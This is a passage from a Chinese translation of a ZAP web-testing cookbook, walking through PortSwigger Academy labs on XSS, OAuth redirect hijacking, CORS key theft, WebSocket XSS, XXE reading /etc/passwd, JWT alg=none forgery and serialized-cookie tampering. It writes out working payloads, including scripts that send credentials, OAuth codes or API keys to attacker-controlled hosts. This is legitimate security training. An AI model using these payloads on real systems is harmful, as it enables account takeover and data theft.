  1. 在浏览器通过 ZAP 代理访问 URL,并登录 PortSwigger Academy 网站启动实验室(portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded)。

  2. 在应用程序中,在 Search 字段中输入任何字符串,如 图 9.3 所示,然后点击 Search

图 9.3 – Web 应用的搜索字段

图 9.3 – Web 应用的搜索字段

  1. 接下来,进入 ZAP 并查看 Sites 窗口。查找实验室 URL 并点击,如 图 9.4 所示:

图 9.4 – Sites 窗口

图 9.4 – Sites 窗口

  1. 在选择了 URL 路径后,右键单击下拉菜单并选择 Open/Resend with** **Request Editor

  2. 查找 URL 中的 search= 字段(见图 9.5):

图 9.5 – Manual Request Editor 中的 search= 字段

图 9.5 – Manual Request Editor 中的 search= 字段

  1. 编辑 search= 字段,将负载设置为 -alert(1)-,如 图 9.6 所示,然后按 Send 发送请求:

图 9.6 – 在 search= 字段中设置负载

图 9.6 – 在 search= 字段中设置负载

  1. 一旦在 Manual Request Editor 中收到响应,向下滚动到页面中返回代码的位置,如 图 9.7 所示。你会注意到,负载并不在单引号内,而是 alert(1) 的值被发送到 searchTerms 对象,这在浏览器中触发了 XSS 负载:

图 9.7 – 成功返回的代码

图 9.7 – 成功返回的代码

它是如何工作的...

JavaScript 执行漏洞使应用程序暴露于许多常见漏洞中,例如 XSS 以及任何由 JavaScript 创建的负载。JavaScript 执行利用了允许用户控制输入并返回到网站的漏洞,使得负载可以在那里被触发。

还有更多...

攻击者将使用多种技术来帮助绕过保护措施。一种常用的技术是URL 编码,也称为百分号编码,其中 URL 或表单字段中的某些字符被替换为它们的十六进制等效值,并在前面加上百分号符号(%)。例如,一个非常著名的黑客字符是单引号('),它被编码为%27。攻击者使用这种技术绕过安全过滤器或向 Web 应用程序注入恶意代码。

当这失败时,另一种绕过安全性的技术称为双重编码。这就是将像%27这样的编码值再次编码,变成%2527。这有助于绕过只检查单一编码值的过滤器。

最后一种技术叫做Unicode 编码,它允许攻击者通过使用潜在危险字符的替代编码来绕过基于黑名单的输入验证过滤器。在我们相同的例子中,%27变为U+0025U+0027,甚至可以进一步写为U+0025U+0032U+0037。这些攻击还可以通过将单引号表示为其 Unicode 编码形式的全角撇号(U+FF07)或用 UTF-8 形式编码为%EF%BC%87来变得更加复杂。

在测试时,最好尝试多种攻击方法,以了解应用程序如何受到保护,以及字段是否正确验证输入或在 SQL 语句的情况下进行参数化。

测试 HTML 注入

HTML 注入是指用户可以访问 Web 应用程序中的输入参数,并能将任意 HTML 代码注入到该网页中。

准备开始

本实验需要一个 PortSwigger Academy 账户和 ZAP 来拦截从服务器到浏览器的请求和响应。

如何操作...

在这个实验中,你将利用搜索博客功能,它存在 DOM 型 XSS 漏洞。攻击将利用innerHTML赋值来修改div元素的 HTML 内容,使用来自location.search的信息。结果将执行一个跨站脚本攻击,调用alert函数以完成实验。

按照以下步骤开始:

  1. 在浏览器通过 ZAP 代理访问 URL 并登录 PortSwigger Academy 网站以启动实验(portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink)。

  2. 在实验应用程序中,将以下 HTML 负载输入到搜索字段中:

     <img src=1 onerror=alert(1)>
    
  3. 一旦你点击搜索,负载将会执行,如图 9.8所示,完成实验:

图 9.8 – 警报负载

图 9.8 – 警报负载

一旦成功,你将看到警报负载,PortSwigger Academy 实验会祝贺你。做得好!

它是如何工作的...

之所以有效,是因为src属性的值(1)不正确,从而抛出错误。但由于这个错误,一旦onerror事件处理程序被激活,负载中的alert()函数将被调用。每当客户端尝试加载包含执行负载的恶意 POST 请求的网页时,都会发生以下结果。

当输出未正确编码且用户输入未经过适当清理时,应用程序会暴露于注入漏洞,攻击者可以精心设计恶意 HTML 页面并将其发送给目标进行处理。受害者的浏览器将解析并执行整个构造的页面,因为它无法理解合法代码和恶意 HTML 代码中的好部分。

还有更多…

HTML 注入与 JavaScript 执行类似,都是通过将恶意代码注入到 Web 应用程序中,并让浏览器执行这些代码。HTML 注入是将 HTML 代码注入到网站中,通常通过更改输入字段或 URL 参数来实现。浏览器随后会渲染这些注入的代码,这可能会改变网站的结构和设计。或者,JavaScript 注入是指插入 JavaScript 代码。攻击者可以通过多种方式执行 HTML 注入,如下所示:

  • 窃取用户数据:当网页加载时,攻击者可能会注入 JavaScript 代码来窃取用户信息,如登录凭证。例如,攻击者可能插入代码,生成一个隐藏的表单,并自动将其填充到他们控制的服务器上,从而让他们接收用户的信息。例如,代码可能如下所示:

     <script>
    
     function stealData() {
    
     var form = document.createElement("form");
    
     form.setAttribute("method", "post");
    
     form.setAttribute("action", "http://malicious-site.com");
    
     var loginInput = document.createElement("input");
    
     loginInput.setAttribute("type", "hidden");
    
     loginInput.setAttribute("name", "username");
    
     loginInput.setAttribute("value", document.getElementById("username").value);
    
     form.appendChild(loginInput);
    
     var passwordInput = document.createElement("input");
    
     passwordInput.setAttribute("type", "hidden");
    
     passwordInput.setAttribute("name", "password");
    
     passwordInput.setAttribute("value", document.getElementById("password").value);
    
     form.appendChild(passwordInput);
    
     document.body.appendChild(form);
    
     form.submit();
    
     }
    
     </script>
    
  • 重定向用户:攻击者可以将 JavaScript 代码注入网页,将用户重定向到恶意网站。例如,攻击者可以注入代码,改变浏览器中location属性的值,从而导致用户被重定向到一个模仿合法网站的钓鱼网站:

     <script>
    
     window.location = "http://malicious-site.com";
    
     </script>
    
  • 网络钓鱼:攻击者可能将 JavaScript 代码注入到网页中,将用户引导到恶意网站。例如,攻击者可能会包含代码,修改位置字段的值,并将访问者引导到一个看起来与合法网站完全相似的钓鱼网页:

     <form action="http://malicious-site.com" method="post">
    
     <input type="text" name="username" placeholder="Username">
    
     <input type="password" name="password" placeholder="Password">
    
     <input type="submit" value="Log in">
    
     </form>
    
  • SQL 注入:攻击者可能将 SQL 查询插入到 Web 应用程序中,这可能让他们未经授权访问数据库,并允许他们提取、修改或删除数据。例如,攻击者可能会插入代码,返回users表中的所有信息,例如UNION SELECT *** **FROM users"

     <form action="http://zaproxy.org/search" method="get">
    
     <input type="text" name="search" value="' UNION SELECT * FROM users">
    
     <input type="submit" value="Search">
    
     </form>
    

测试客户端 URL 重定向

URL 重定向攻击(开放重定向)发生在应用程序允许不受信任的用户输入的情况下,攻击者向用户提供一个超链接。然后,这个超链接会将他们发送到一个与用户试图访问的目标网页不同的外部 URL。通俗地说,当攻击者将用户从当前页面发送到一个新的 URL 时,就会发生这种情况。

准备工作

这个实验需要一个 PortSwigger Academy 账户和 ZAP 来拦截服务器发送到浏览器的请求和响应。

如何操作...

在这个示例中,实验使用开放授权OAuth)服务来验证虚假社交媒体账户。你,作为攻击者,将利用 OAuth 中的配置错误来窃取与另一个用户账户相关的授权令牌,以获取访问权限并移除用户 Carlos:

  1. 在浏览器代理到 ZAP 的 URL 中导航,并登录到 PortSwigger Academy 网站以启动实验(portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)。

  2. 首先确保在 ZAP 中捕获请求。然后点击我的账户,使用提供的凭据通过 OAuth 登录。网页上会显示一个消息指示你正在被重定向。此外,在 URL 中,你会看到你正在使用 OAuth(如图 9**.9所示):

图 9.9 – OAuth URL

图 9.9 – OAuth URL

  1. 通过单击我的账户注销,然后再次登录。

你会注意到你立即登录了。这是因为仍然存在与 OAuth 服务的活动会话;因此,你无需提供用户名和密码进行重新验证。

  1. 在 ZAP 中,查看历史选项卡,可以找到最近的 OAuth 请求。首先输入GET /auth?client_id=[...]。在发送此请求后,立即被重定向到redirect_uri,并在请求消息中连同授权码一起发送(见图 9**.10):

图 9.10 – 授权请求

图 9.10 – 授权请求

  1. 右键单击并在手动 请求编辑器中打开此/auth?client_id=请求。

  2. 在这个请求中(见图 9**.11),你可以发送任意随机值作为redirect_uri而不会引起错误。这是你将用来创建恶意重定向 URL 的参数:

图 9.11 – 重定向 URI 操纵

图 9.11 – 重定向 URI 操纵

  1. 接下来,将利用漏洞服务器的统一资源标识符URI)作为redirect_uri。然后右键单击并复制请求 URL。将此 URL 输入到浏览器地址栏中,然后按回车键发送请求。你会看到网页打开,并显示在漏洞服务器页面上的默认消息;Hello world!

  2. 回到漏洞服务器的访问日志,你会看到有一条日志记录了你的授权码。这表明授权码泄露到外部域(见图 9.12):

图 9.12 – 带有授权码的漏洞服务器访问日志

图 9.12 – 带有授权码的漏洞服务器访问日志

  1. 现在保留该 URL,但返回到主漏洞服务器页面,并将其粘贴到 body 的 iframe 中(请参阅以下代码片段),确保OAUTH-IDCLIENT-ID(你第一次登录时的 OAuth ID)和EXPLOIT-ID(漏洞服务器的 ID)是正确的:

     <iframe src="https://OAUTH-ID.web-security-academy.net/auth?client_id=CLIENT_ID&redirect_uri=https://EXPLOIT-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
    
  2. 接下来,点击底部的Store按钮上传漏洞。一旦完成,不要点击View exploit,而是从src" "复制整个网址,打开一个新的浏览器标签页,将网址粘贴到地址栏并访问它。如前所述,这将打开一个 iframe,展示漏洞服务器网页。

  3. 关闭浏览器标签页,返回漏洞服务器并检查Access log。你将看到日志显示一个GET /?code=请求,带有新生成的代码,如图 9.13所示。这是你的代码,但它能让你判断漏洞是否有效:

图 9.13 – iframe 负载的访问日志

图 9.13 – iframe 负载的访问日志

  1. 将相同的漏洞交付给受害者,然后返回Access Log,查找来自不同 IP 地址的新生成代码。从日志中的结果复制受害者的代码:

重要提示

如果代码字符串的末尾有一个破折号(-),请确保将这个破折号和整个代码一起复制。

图 9.14 – 受害者负载响应

图 9.14 – 受害者负载响应

  1. 先登出整个网站,使用新捕获的代码,构造一个新的oauth-callback URL 并将其粘贴到浏览器的地址栏中访问:

     https://LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE
    
  2. OAuth 会自动完成身份验证并将你登录为管理员。

  3. 进入Admin面板。

  4. 删除 Carlos。

它是如何工作的...

OAuth 2.0 框架是一个常见的身份验证工具,但由于配置错误,常常会出现漏洞。OAuth 流程的一个重要组件是重定向 URL。授权服务器将在用户成功授权某个应用后将用户引导回应用。至关重要的是,服务不能将客户重定向到随机位置,因为重定向 URL 包含关键信息。

OAuth 提供者是网络钓鱼攻击的主要目标,因为它们在通过浏览器重定向传递access_token时未验证redirect_uri

在这次攻击中,威胁行为者向目标提供一个指向受信任认证门户的 URL,利用该认证门户,恶意用户可以将受害者的access_token发送到他们控制的 web 服务器,从而允许攻击者访问未授权的资源。

还有更多…

用户可以通过 OAuth 协议向第三方应用程序提供资源访问权限(即数据或 API),而无需透露他们的登录信息。OAuth 身份验证过程通常由以下三个关键元素组成:

  • 客户端应用程序:这是一个第三方程序,旨在获取对用户资源的访问权限。它必须在 OAuth 提供者处注册,并配备客户端 ID 和密钥。

  • 授权服务器:这是负责管理用户资源并进行用户身份验证的服务器。通常由 OAuth 提供者(如 Google、Facebook、Twitter、Linkedin、Windows Live 等)管理,负责为客户端应用程序提供访问权限。

  • 资源拥有者:这是拥有客户端应用程序希望使用的资源的用户。资源拥有者必须授权客户端应用程序访问他们的资源。

在 OAuth 身份验证过程中,客户端应用程序将用户重定向到授权服务器的登录页面。之后,用户输入登录信息并授权客户端应用程序。授权服务器随后将用户重定向回客户端应用程序,提供一个访问令牌,允许客户端访问用户的资源。

重要提示

在某些 OAuth 实现中,可能还包括额外的组件,例如存储用户资源的资源服务器,以及提供访问令牌的令牌端点。

在用户授权客户端应用程序后,攻击者可以通过 OAuth 重定向攻击(也称为 开放重定向攻击)将用户引导到恶意网站。这可以通过诱使用户点击包含恶意重定向 URI 的链接或更改客户端应用程序使用的重定向 URI 来实现。一旦用户被强制重定向到恶意网站,攻击者就可以获取访问令牌并利用它访问用户的资源。

这是一个简化的示例,展示了攻击者可能用来执行这种攻击的 URL 字符串:

 https://legitimate-oauth-provider.com/authorize?redirect_uri=https://attacker-controlled-website.com/redirect

这个示例的 URL 字符串中包含了客户端应用程序的重定向 URI、合法 OAuth 提供者的授权端点,以及一个指向攻击者网站的 query 参数。受害者点击链接后,攻击者的网站将充当重定向 URI,导致浏览器向合法的 OAuth 提供者网站提交带有该 URL 字符串的请求。

测试跨域资源共享

要了解 跨域资源共享(CORS) 漏洞,首先需要理解同源策略。同源策略的目的是限制网站访问来自不同源域的资源。虽然对于某些网站,同源策略是一个问题,但如今许多网站与子域或第三方网站进行交互,需要跨域例外。CORS 就是为了解决这个问题而创建的。

准备就绪

此实验要求拥有 PortSwigger Academy 账户和 ZAP,以拦截来自服务器到浏览器的请求和响应。实验网页应用的登录凭证如下:

  • **用户名: **wiener

  • **密码: **peter

如何操作...

在此配方中,实验引入了一个存在安全隐患的网站,它的 CORS 配置不安全,信任所有来源。为了解决这个问题,我们将使用 CORS 构建一个恶意的 JavaScript 函数,以获取管理员的 API 密钥,然后将代码上传到服务器。

按照以下步骤开始操作:

  1. 使用浏览器代理至 ZAP 的 URL,登录 PortSwigger Academy 网站并启动实验

(portswigger.net/web-security/cors/lab-basic-origin-reflection-attack).

  1. 启动 ZAP,并确保你使用手动探索器并启动 Firefox 浏览器,或者启用浏览器扩展工具以代理该页面。

  2. 一旦实验加载并进入应用程序的主页,点击 我的账户。使用提供的凭证登录并访问 账户 页面。

  3. 查看历史记录并查看响应头(参见 图 9.15),其中会显示你通过 AJAX 请求 /accountDetails 获取的密钥。在同一响应中,你将看到 Access-Control-Allow-Credentials 头部。这表明可能存在 CORS 问题:

图 9.15 – API 密钥响应头

图 9.15 – API 密钥响应头

  1. 接下来,右键点击请求并在 手动请求编辑器 中打开它。然后使用添加的头部重新提交请求(参见 图 9.16):

     origin: https://zaprules.com
    

在这里,我们看到 origin 头部,输入的域名被反射回来了:

图 9.16 – 添加的来源头部

图 9.16 – 添加的来源头部

  1. 你会看到我们输入的 origin URL 在 Access-Control-Allow-Origin 头中被反射回来:

图 9.17 – 显示来源的响应头

图 9.17 – 显示来源的响应头

  1. 在浏览器顶部的实验中,点击 Go to exploit server 并输入以下有效负载 HTML 脚本。确保将 <random-string> 替换为首次启动实验时生成的唯一实验 URL:

     <script>
    
     var req = new XMLHttpRequest();
    
     req.onload = reqListener;
    
     req.open('get','https://<random-string>.web-security-academy.net/accountDetails',true);
    
     req.withCredentials = true;
    
     req.send();
    
     function reqListener() {
    
     location='/log?key='+this.responseText;
    
     };
    
     </script>
    

图 9.18 中,我们看到实验室头部,显示了 Go to exploit server 按钮和 Submit solution 按钮,用于解决实验:

图 9.18 – 链接到漏洞利用服务器

图 9.18 – 链接到漏洞利用服务器

  1. 点击页面底部的查看漏洞利用。这将有助于确保漏洞利用有效,并且你已经到达了带有 API 密钥的日志页面,如图 9.20所示:

图 9.19 – 查看漏洞利用日志

图 9.19 – 查看漏洞利用日志

  1. 返回漏洞利用服务器,首先点击存储,然后点击向受害者发送漏洞利用以发送漏洞利用:

图 9.20 – 向受害者发送漏洞利用按钮

图 9.20 – 向受害者发送漏洞利用按钮

  1. 发送漏洞利用后,点击访问日志,从/log?key=日志条目中提取管理员的 API 密钥。为了便于搜索,可以查看左侧列中的 IP 地址:

图 9.21 – 管理员的 API 密钥

图 9.21 – 管理员的 API 密钥

  1. 要完成,请使用位于实验网页顶部的提交解决方案按钮。无论是从主实验页面还是从漏洞利用服务器页面,都可以看到该按钮。

工作原理...

CORS 允许网站通过利用 HTTP 头部设置允许的来源,从其他网站请求资源。CORS 使用的头部是Access-Control-Allow-OriginAccess-Control-Allow-CredentialsAccess-Control-Allow-Origin有三个值:一个是通配符(*),表示允许所有来源,一个是<origin>,表示仅允许指定的来源,另一个是null,用于多种情况,其中之一是在网站接收跨来源重定向或使用file:协议时。Access-Control-Allow-Credentials头部仅接受true值,用于发送认证信息。

这种漏洞源于配置错误。配置错误可能包括但不限于允许所有来源或接受以特定字符串结尾的所有来源,如zapproxy.com。攻击者可能会注册attackersitezapproxy.com,并且这个来源将被接受。

CORS 漏洞的影响取决于设置的头部和网站提供的信息。如果Access-Control-Allow-Credentials设置为true,攻击者可以从网站中提取认证信息。

还有更多...

CORS 攻击可以与其他形式的攻击结合使用,以利用目标服务器中的其他漏洞。以下是可能与 CORS 结合使用的一些攻击类型:

  • XSS:攻击者可以利用 CORS 攻击绕过同源策略,将恶意代码注入到网站中,从而盗取网站访问者的敏感信息

  • CSRF:攻击者可以利用 CORS 攻击欺骗服务器,使其相信请求来自可信来源,从而允许攻击者代表真实用户执行操作

  • 钓鱼攻击:攻击者可以利用 CORS 攻击在恶意网站上生成一个虚假的登录页面,然后通过 CORS 攻击在用户输入凭证后访问用户的个人信息。

攻击者通常通过修改请求头发起这些攻击,欺骗服务器使其认为请求来自可信的来源,生成虚假的登录页面,或注入恶意代码。攻击者还必须能够窃取身份验证令牌或获取正在暴露的敏感数据。

测试 WebSockets

WebSockets 是客户端和后端服务(如数据库或 API 服务)之间持续的双向通信通道。WebSockets 可以传输任意数量的协议,并且提供服务器到客户端的消息传递,无需轮询(即一个程序或设备反复检查其他程序或设备的状态的过程)。

准备工作

此实验需要一个 PortSwigger Academy 账户和 ZAP,用于拦截从服务器到浏览器的请求和响应。

在开始实验前,在 ZAP 中,进入 工具选项,并向下滚动至 WebSockets 部分。在此,您必须启用 在启用‘所有请求/响应断点按钮’时中断。否则,您将无法捕获 WebSocket 请求并进行操作以完成此实验。

如何操作...

WebSockets 被用来实现这个在线商店中的实时聊天功能。

在本实验中,一位虚拟的支持代表,也就是机器人,将读取您发送的聊天消息请求。在解读响应时,我们将使用 WebSocket 消息在支持代表的浏览器中创建一个 alert() 弹出窗口。如果成功,它将自动完成实验。

按照以下步骤开始:

  1. 使用浏览器代理至 ZAP,导航至网址并登录 PortSwigger Academy 网站以启动实验室(portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities)。

  2. 在 ZAP 中,输入范围 URL 到手动浏览器并启动浏览器打开 Firefox。点击 继续到 您的目标

  3. 在网页应用的右上角,点击 实时聊天 并发送一条随机聊天消息。

  4. 在 ZAP 的 WebSockets 历史 标签中,查找您之前在原始 WebSocket 消息中发送的聊天消息(参见 图 9.22):

图 9.22 – WebSockets 历史标签

图 9.22 – WebSockets 历史标签

  1. 返回应用中,发送另一条新消息,但这次包含一个小于符号:

     <
    
  2. 回到 ZAP WebSocket 历史记录中,找到相应的 WebSocket 消息,并观察到小于符号已经在客户端发送之前被转化为 HTML 编码,如 图 9.23 所示:

图 9.23 – HTML 编码的小于字符

图 9.23 – HTML 编码的小于字符

  1. 再次发送另一条聊天消息,但这次设置一个断点,在消息传输过程中,操控请求使其包含以下载荷:

     <img src=1 onerror='alert(1)'>
    

重要提示

如果网页应用程序的实时聊天功能停止工作或聊天显示断开连接,打开一个新的实时聊天继续该过程。

  1. 浏览器将触发警报,支持代理客户端也会发生此操作:

图 9.24 – 一个 JavaScript 警报

图 9.24 – 一个 JavaScript 警报

在第一个截图中,你会看到警报框在客户端弹出。聊天消息在图 9.25中显示时,图像标签的 HTML 图标为空白。这是我们的恶意载荷:

图 9.25 – 在聊天中展示的成功攻击

图 9.25 – 在聊天中展示的成功攻击

它是如何工作的...

根据 RFC 6455,WebSocket 协议允许客户端在运行错误代码的组织元素中与远程主机进行双向通信,前提是远程主机已允许来自该代码的通信。这使用了基于来源的安全概念,广泛应用于在线浏览器。该协议以握手开始,然后将传输控制协议TCP)与一些简单的消息框架进行分层。该技术的目标是为需要与服务器进行双向通信的浏览器应用程序提供一种方法,而无需启动多个 HTTP 连接(即,利用XMLHttpRequest<iframe>和长时间轮询)。

重要提示

一些攻击可能会导致你失去连接,这时你需要创建一个新的连接。

几乎任何与 WebSocket 相关的网页安全漏洞都有可能发生:

  • 用户输入处理不当时传送到服务器会导致漏洞,如 SQL 注入或XML 外部实体XXE)注入

  • WebSocket 的盲点漏洞可能需要通过带外(OAST)方法来利用

  • 如果通过 WebSocket 将攻击者控制的数据发送给其他应用程序用户,可能会导致 XSS 或其他客户端漏洞

还有更多...

在攻击 WebSocket 之前初始化你的方法时,查看 JavaScript 文件或页面源代码,查找 WebSocket 端点。在 JavaScript 代码中寻找以下内容:

  • wss://

  • ws://

  • websocket

WebSocket 的 URL 格式将是wss://example.comwss://用于安全套接字层SSL)连接)。类似于https://,以及ws://,就像http://一样。

接下来,要确定 WebSocket 端点是否在 ZAP 中接受来自其他源的连接,请检查连接。通过手动请求编辑器发送请求,并在origin头中指定你的源。如果连接成功,服务器将回复状态码101,且你的请求源将被反映或在响应的origin头中以通配符(*****)表示。

另见

RFC6455: WebSocket 协议: www.rfc-editor.org/rfc/rfc6455

第十章:高级攻击技巧

欢迎来到 第十章高级攻击技巧。在本章中,我们将介绍一些高级攻击技术,如 XML 外部实体XXE)攻击和 Java 反序列化,我们将解释并演示如何在测试应用程序中利用这些漏洞。我们还将有趣地进行密码更改的暴力破解、Web 缓存中毒以及处理 JSON Web Tokens。

本章将介绍以下内容:

  • 执行 XXE 攻击

  • 处理 JSON Web Tokens

  • 执行 Java 反序列化攻击

  • 密码暴力破解通过密码更改

  • Web 缓存中毒

技术要求

本章中,你需要使用常见的浏览器,如 Mozilla Firefox。你还需要使用你的 PortSwigger 账户来访问将用于本章实验的 PortSwigger Academy 实验室。

执行 XXE 攻击

在 XXE 攻击中,攻击者向应用程序发送包含外部实体引用的 XML 输入。此 XML 输入会导致应用程序表现出未预期的行为。成功利用 XXE 攻击可能导致攻击者查看文件内容、窃取数据、服务器端请求伪造SSRF)以及远程代码执行。

准备工作

本实验需要一个 PortSwigger Academy 账户,并且需要 ZAP 来拦截来自服务器到浏览器的请求和响应。

如何做到...

在本实验中,我们将演示执行 XXE 攻击以检索 passwd 文件的内容。请按照以下说明操作:

  1. 使用代理到 ZAP 的浏览器导航到 URL,并登录到 PortSwigger Academy 网站以启动实验室。我们将在本节中进行的实验是 利用外部实体的 XXE 攻击来检索文件。实验链接如下:portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

  2. 启动实验,将其添加到上下文中,并点击 仅显示范围内的 URL

  3. 在实验室主页上,点击任意产品下方的 查看详情。然后点击 检查库存

  4. 点击 检查库存 会向应用程序发送一个 POST 请求。让我们找到这个 POST 请求。右键点击请求并选择 使用请求编辑器打开/重新发送

  5. 一旦 请求编辑器 窗口打开,在 XML 声明后添加以下有效负载,并将产品 ID 替换为 xxe 外部实体引用,如 图 10.1 所示。然后,点击 发送

     <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    

图 10.1 – XXE 攻击

图 10.1 – XXE 攻击

  1. 正如你在 响应 标签页中看到的,passwd 文件的内容在返回的响应中列出,如 图 10.2 所示:

图 10.2 – passwd 文件

图 10.2 – passwd 文件

这就是本实验的全部内容。

原理...

XXE 攻击是一种可以在处理 XML 输入的应用程序中发现的漏洞。此类攻击发生在攻击者能够将恶意外部实体注入到 XML 文档中,然后这些外部实体可以用来危害应用程序或底层系统的安全性。

在 XXE 攻击中,攻击者首先创建一个包含外部实体引用的 XML 文档,通常是远程文件或资源。然后,攻击者将这个恶意的 XML 文档提交给易受攻击的应用程序,应用程序尝试处理并访问外部实体。这可能导致应用程序崩溃或泄露敏感信息,例如内部网络地址或系统文件。

在这个教程中,我们通过执行 XXE 注入攻击查看了 /etc/passwd 文件的内容。为了执行 XXE 注入攻击,我们通过添加 DOCTYPE 元素更改了 XML 输入,以便加入包含 passwd 文件路径的外部实体。然后,外部实体被用在 productId 值中,导致应用程序在响应中返回 passwd 文件内容,这使我们能够收集更多关于系统账户的信息。

操作 JSON Web Tokens

JSON Web TokensJWTs)用于身份验证、会话管理和系统间的数据授权。JWT 漏洞通常是设计缺陷、配置错误或使用不安全的库所导致的。在测试 JWT 漏洞时,测试者尝试绕过签名验证过程,从而绕过身份验证或授权机制。JWT 中传递的信息称为声明(claims),并且是经过加密签名的 JSON 对象。每个 JWT 由三部分组成:第一部分是头部,第二部分是负载,第三部分是签名。每个部分用 .(点)分隔,并使用 base64 编码。头部包含有关令牌的信息,负载部分包括声明,签名通常是头部和负载部分的哈希值,常用于完整性检查。

在这个教程中,你将攻击一个配置错误的服务器,该服务器发放允许接受未签名令牌的 JWT。为了完成实验,我们将指导你停用用户 – Carlos – 并更改会话令牌,以便你可以访问管理员面板。

准备开始

本实验需要一个 PortSwigger Academy 账户,一个 Base64 编码/解码器,并且 ZAP 应该能够拦截从服务器到浏览器的请求和响应。

如何操作...

在本部分,我们将完成 PortSwigger Academy 的 JWT 身份验证绕过通过签名验证漏洞 实验,演示如何更改 JWT 负载中的值,以管理员身份登录并删除用户账户。按照以下步骤开始实验:

  1. 使用浏览器代理到 ZAP,导航到 URL 并登录 PortSwigger Academy 网站以启动JWT 认证绕过通过错误签名验证实验室 (portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)。

  2. 一旦访问实验室,点击我的账户,并使用实验室描述中提供的凭据登录。

  3. 打开 ZAP,找到GET请求到/my-account 页面。右键点击请求并选择使用请求编辑器打开/重发…

  4. 你可以在请求中看到 cookie 会话是一个 JWT,因为它是通过一个点分隔的。这个实验的目标是通过操作 JWT cookie 来访问管理员门户。我们需要一个Base64编码/解码器;在这个实验中,我使用的是 CyberChef (gchq.github.io/CyberChef)。复制令牌中的头部,它是点之前和session=之后的第一部分。打开你最喜欢的 Base64 解码器并编码头部。将alg值从RS256更改为none,然后再次编码,如图 10**.3所示。复制编码后的值并保存,以便稍后在实验中使用:

图 10.3 – 无算法

图 10.3 – 无算法

  1. 现在,复制 JWT 中的有效负载;它是位于两个点之间的第二部分。将其解码到 Base64 解码器中,并将sub值从你使用的用户名改为administrator,如图 10**.4所示。对有效负载进行编码,并复制并保存编码后的有效负载,以便在下一步中使用:

图 10.4 – 修改用户账户

图 10.4 – 修改用户账户

  1. 在 ZAP 的请求编辑器中,将/my-account改为/admin。删除session=之后的所有内容,并添加我们之前创建的编码头值。添加一个点,然后添加我们之前创建的编码有效负载值。有效负载后再添加一个点。图 10**.5显示了所添加的值:

图 10.5 – 会话 cookie

图 10.5 – 会话 cookie

  1. 点击发送;如你所见,在响应标签中,应用程序返回了管理员面板的代码。

  2. 打开浏览器,进入/admin页面,如你所见,你无法查看管理员页面。为了查看管理员页面,我们需要更改 cookie 值。我使用 Chrome 浏览器来更改 cookie 值。我必须打开开发者工具,导航到应用程序标签,找到Cookies下的 cookie。在栏中,我双击了该值并粘贴了我们创建的 JWT。

  3. 在添加我们创建的 JWT 后,刷新页面。如你所见,我们可以查看管理员页面,如图 10**.6所示。现在让我们删除用户carlos

图 10.6 – 用户页面

图 10.6 – 用户页面

这结束了本教程的实验部分。我们已经绕过了身份验证和授权机制,成功访问了管理员页面。

工作原理...

在这个实验中,我们解码了令牌的头部,并将alg属性的值改为none。通过将alg属性更改为none,我们可以绕过令牌中签名的验证。接着,我们解码了有效载荷并将sub属性的值改为administrator,以便能够使用管理员帐户。之后,我们重新编码了头部和有效载荷,并将其用作我们的会话 cookie 值。通过这样做,我们成功绕过了网站的身份验证和授权机制。

还有更多...

使用none值作为alg属性的值并不是让应用服务器接受你创建的 JWT 的唯一方法。另一种绕过身份验证和授权的方法是找到或暴力破解密钥。HS256是另一种使用密钥的alg值。如果攻击者找到了密钥,他们就可以签署任何他们创建的 JWT 并将其发送到服务器。像 Hashcat 这样的工具可以使用字典列表对密钥进行暴力破解。

执行 Java 反序列化攻击

Java 使用一种名为序列化的过程,将对象转换为字节流。相反,反序列化是将序列化的字节流还原为机器内存中的对象。在这种类型的攻击中,攻击者通过修改序列化对象将恶意数据注入应用程序代码。此类攻击只有在网站反序列化用户提供的数据时才有可能。如果必须反序列化用户提供的数据或来自不可信源的任何数据,则必须实现检查和保护措施,以防止不可信的源篡改数据。检查和保护措施必须在开始反序列化过程之前进行,否则将不起作用。由于防止反序列化攻击的难度较大,只有在无法避免的情况下才应使用数据反序列化。

在本教程中,你将攻击一个易受序列化基础会话机制的漏洞,该漏洞易受到权限提升攻击。进行此攻击时,你将编辑会话 cookie 中的序列化对象,利用此漏洞获得管理员权限,删除 Carlos 的帐户。

准备工作

本实验需要一个 PortSwigger Academy 账号和 ZAP 工具,以便拦截来自服务器到浏览器的请求和响应。

如何操作...

以下步骤将指导你完成解决 PortSwigger Academy 修改序列化对象实验的过程。在本实验中,你将修改会话 cookie 中的序列化对象,以提升你的帐户权限,并能够删除一个用户帐户。请按照以下说明操作:

  1. 在浏览器中代理到 ZAP,导航到网址并登录 PortSwigger Academy 网站以启动实验室 (portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)。

  2. 打开 ZAP 并转到 Manual Explorer。在 Firefox 启动器中输入实验室 URL。

  3. 使用 PortSwigger 提供的凭证登录实验室应用程序。

  4. 点击登录后的 GET /my-account 请求的响应,其中包含一个会话 cookie。这个 cookie 似乎是 URL 和 Base64 编码的。

  5. 要理解该字符串中的数据,可以通过右键单击选定的 cookie 值,将其发送到 Encode/Decode/Hash 工具。点击 Decode 标签并查看 Base64 Decode 行。你将看到以下值:

     O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
    
  6. 这个 cookie 实际上是一个序列化的 PHP 对象。字符串值总是包含在双引号中。s 是对象的大小,后面跟着对象名称,且用双引号括起来。在代码字符串的末尾,admin 属性包含 b:0,表示一个布尔值 false。在 Manual** **Request Editor 中打开此请求。

  7. 在解码后的形式中,打开 CyberChef,将 b:0 的值更改为 b:1,表示 true,然后再次进行 Base64 编码并进行 URL 编码 =。将这个编码后的字符串重新插入到 cookie 中并发送请求。见 图 10.7

图 10.7 – CyberChef 编码的会话数据

图 10.7 – CyberChef 编码的会话数据

  1. 当你收到响应时,滚动查看 HTML 代码的内容,如 图 10.8 所示,找到一个显示 /admin 的链接。这表明你访问了一个具有管理员权限的页面:

图 10.8 – 带有 /admin 路径的响应

图 10.8 – 带有 /admin 路径的响应

